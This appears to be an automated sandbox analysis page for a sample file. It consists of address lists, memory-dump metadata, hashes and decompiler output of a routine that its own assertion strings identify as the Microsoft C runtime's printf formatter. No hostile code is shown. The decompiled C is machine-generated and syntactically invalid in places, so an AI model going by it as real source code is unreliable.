0x00435284
0x00435290
0x00435296
0x00435296
0x00435353
0x00435353
0x00435356
0x00000000
0x00000000
0x00000000
0x00435356
0x00000000
0x00000000
0x00000000
0x00435502
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00000000
0x00000000
0x00434ac1
0x00434ac4
0x00434ac7
0x00000000
0x00000000
0x00434acc
0x00434acf
0x00434ad4
0x00000000
0x00000000
0x00434ab6
0x00434ab6
0x00434ab9
0x00434abc
0x00000000
0x00000000
0x00434aab
0x00434aae
0x00434ab1
0x00000000
0x00000000
0x00434ad9
0x00434ad9
0x00434adc
0x00434adc
0x00434adf
0x00000000
0x00000000
0x00434ae2
0x00000000
0x00000000
0x0043487e
0x00434880
0x0043488e
0x00434882
0x00434882
0x00434882
0x00434898
0x0043489e
0x004348ab
0x004348ad
0x004348b2
0x004348b4
0x004348b9
0x004348be
0x004348c0
0x004348c5
0x004348cb
0x004348cd
0x004348cd
0x004348cb
0x004348ce
0x004348d5
0x00000000
0x004348d7
0x004348dc
0x004348f8
0x00434900
0x0043490d
0x00434912
0x004357d1
0x004357de
0x004357de
0x004348d5
0x00434878
0x0043570d
0x0043570d
0x00435714
0x0043572b
0x0043572b
0x00435735
0x00435735
0x0043573b
0x00435741
0x00435748
0x0043574a
0x0043574f
0x00435751
0x00435756
0x0043575b
0x0043575d
0x00435762
0x00435765
0x00435768
0x0043576a
0x0043576a
0x00435768
0x0043576b
0x00435772
0x004357bd
0x004357c6
0x004357cb
0x00435774
0x00435779
0x00435795
0x0043579d
0x004357aa
0x004357af
0x004357af
0x00000000
0x00435772
0x00435716
0x00435716
0x0043571d
0x00000000
0x00000000
0x0043571f
0x0043571f
0x00000000
0x0043571f
0x00435502
0x004354d9
0x004354d9
0x004354dd
0x004354ea
0x004354ed
0x004354f0
0x004354f3
0x004354f6
0x004354f9
0x004354fc
0x004354fc
0x004354ff
0x00000000
0x004354ff
0x004354df
0x004354df
0x004354e2
0x004354e5
0x004354e8
0x00000000
0x00000000
0x00000000
0x004354e8
0x00435441
0x00435441
0x00435444
0x00435447
0x0043544e
0x00435455
0x0043545d
0x00435463
0x00435466
0x00435469
0x00435470
0x0043547c
0x00435482
0x00435488
0x0043548f
0x00435491
0x00435497
0x00435497
0x0043549d
0x0043549d
0x004354a3
0x004354a6
0x004354ac
0x004354b1
0x004354b4
0x00435423
0x00435423
0x00435429
0x0043542c
0x0043542f
0x00435431
0x00000000
0x00000000
0x00000000
0x00435431
0x00435423
0x00435363
0x00435363
0x0043536a
0x00000000
0x00000000
0x00000000
0x00435398
0x00435398
0x0043539e
0x004353a4
0x004353aa
0x00000000
0x004353aa
0x0043527a
0x00435231

APIs

_get_int64_arg.LIBCMTD ref: 00435288
__aullrem.LIBCMT ref: 00435455
__aulldiv.LIBCMT ref: 00435477

Strings

0, xrefs: 00435243
9, xrefs: 00435488
', xrefs: 00435227

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: f5d9b6badffd3adc7de9d7794d3ac5d6783c0b6c6aeb95565887379f7d7fefd8
Instruction ID: 6bb31d2178f726b9bef2e0326f82d66655aec8a3be6453c77d3e220e3e219c77
Opcode Fuzzy Hash: f5d9b6badffd3adc7de9d7794d3ac5d6783c0b6c6aeb95565887379f7d7fefd8
Instruction Fuzzy Hash: 8841F5B1D05A29CFDB24CF48C889BAEB7B5FB58304F2491DAD409A7240C7785E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00427EE8, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427EE8() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t524 - 0x260)) = 0x27;
					while(1) {
						L139:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L144:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E004285E0(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004285E0(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
											 *(__ebp - 0x2ac) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004285E0(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
								 *(__ebp - 0x2ac) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L161;
							}
							L157:
							__eflags =  *(__ebp - 0x2ac);
							if(__eflags > 0) {
								goto L161;
							}
							L158:
							if(__eflags < 0) {
								L160:
								 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
								__edx =  *(__ebp - 0x2ac);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
								 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L162:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2b8);
										__eax =  *(__ebp - 0x2b4);
										__eax =  *(__ebp - 0x2b4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2b4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									L173:
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										L177:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L181:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L207;
												}
												L182:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2bc);
													__eax = E004285A0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E004358F0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E004285A0(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L203:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E004358F0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L204;
												} else {
													L195:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L203;
													}
													L196:
													 *(__ebp - 0x2d4) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
													while(1) {
														L197:
														__ecx =  *(__ebp - 0x2c4);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L198:
														__eax =  *(__ebp - 0x2c0);
														 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
														__edx =  *(__ebp - 0x316) & 0x0000ffff;
														__eax = __ebp - 0x2d0;
														__ecx = __ebp - 0x2c8;
														 *(__ebp - 0x2d4) = E004344A0(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														__eflags =  *(__ebp - 0x2d4);
														if( *(__ebp - 0x2d4) != 0) {
															L200:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L199:
														__eflags =  *(__ebp - 0x2c8);
														if( *(__ebp - 0x2c8) != 0) {
															L201:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c8);
															__ebp - 0x2d0 = E004358F0( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L200;
													}
													L202:
													L204:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2bc);
															__eax = E004285A0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L207:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C6E0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L209:
													 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
													 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
													if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
															 *(_t524 - 0x2fc) = 0;
														} else {
															 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404460) & 0x0000000f;
														}
													}
													L7:
													 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
													_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
													 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404480) >> 4;
													 *(_t524 - 0x300) =  *(_t524 - 0x25c);
													if( *(_t524 - 0x300) > 7) {
														continue;
													}
													L8:
													switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M004283F8))) {
														case 0:
															L9:
															 *(_t524 - 0xc) = 0;
															_t483 = E00431490( *(_t524 - 0x251) & 0x000000ff, E0041AFF0(_t524 - 0x40));
															_t528 = _t526 + 8;
															if(_t483 == 0) {
																L15:
																E00428500( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t526 = _t528 + 0xc;
																goto L209;
															} else {
																E00428500( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t528 = _t528 + 0xc;
																_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																asm("sbb eax, eax");
																 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																if(_t513 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t495 = L0041E520();
																	_t528 = _t528 + 0x14;
																	if(_t495 == 1) {
																		asm("int3");
																	}
																}
																L13:
																if( *(_t524 - 0x278) != 0) {
																	goto L15;
																} else {
																	 *((intOrPtr*)(L00423010(_t509))) = 0x16;
																	E00422DA0(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t524 - 0x2e4) = 0xffffffff;
																	E0041AFC0(_t524 - 0x40);
																	_t478 =  *(_t524 - 0x2e4);
																	goto L211;
																}
															}
														case 1:
															L16:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L209;
														case 2:
															L17:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															__eflags =  *(__ebp - 0x304) - 0x10;
															if( *(__ebp - 0x304) > 0x10) {
																goto L24;
															}
															L18:
															__ecx =  *(__ebp - 0x304);
															_t63 = __ecx + 0x428430; // 0x498d04
															__edx =  *_t63 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428418))) {
																case 0:
																	goto L21;
																case 1:
																	goto L22;
																case 2:
																	goto L20;
																case 3:
																	goto L19;
																case 4:
																	goto L23;
																case 5:
																	goto L24;
															}
														case 3:
															L25:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t87 = __ecx - 0x30; // -48
																__edx = __eax + _t87;
																 *(__ebp - 0x18) = __eax + _t87;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															L30:
															goto L209;
														case 4:
															L31:
															 *(__ebp - 0x30) = 0;
															goto L209;
														case 5:
															L32:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t98;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L209;
														case 6:
															L38:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															__eflags =  *(__ebp - 0x308) - 0x2e;
															if( *(__ebp - 0x308) > 0x2e) {
																L61:
																goto L209;
															}
															L39:
															__ecx =  *(__ebp - 0x308);
															_t106 = __ecx + 0x428458; // 0x7d0f9003
															__edx =  *_t106 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428444))) {
																case 0:
																	L44:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L47:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L50:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L56:
																				L58:
																				goto L61;
																			}
																			L51:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L56;
																			}
																			L52:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L56;
																			}
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L56;
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L56;
																			}
																			L55:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L9;
																			}
																			goto L56;
																		}
																		L48:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	}
																	L45:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L47;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																case 1:
																	L59:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L61;
																case 2:
																	L40:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L61;
																case 3:
																	L60:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L61;
																case 4:
																	goto L61;
															}
														case 7:
															L62:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x30c) = __ecx;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															__eflags =  *(__ebp - 0x30c) - 0x37;
															if( *(__ebp - 0x30c) > 0x37) {
																while(1) {
																	L181:
																	__eflags =  *(__ebp - 0x28);
																	if( *(__ebp - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															}
															L63:
															_t147 =  *(__ebp - 0x30c) + 0x4284c4; // 0xcccccc0d
															__ecx =  *_t147 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M00428488))) {
																case 0:
																	L114:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L115;
																case 1:
																	L64:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L66;
																case 2:
																	L79:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L81;
																case 3:
																	L138:
																	 *(__ebp - 0x260) = 7;
																	L139:
																	 *(__ebp - 8) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *(__ebp - 0x14) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	goto L144;
																case 4:
																	L72:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x284) = E004285E0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x284);
																	if( *(__ebp - 0x284) == 0) {
																		L74:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																		L78:
																		goto L181;
																	}
																	L73:
																	__ecx =  *(__ebp - 0x284);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
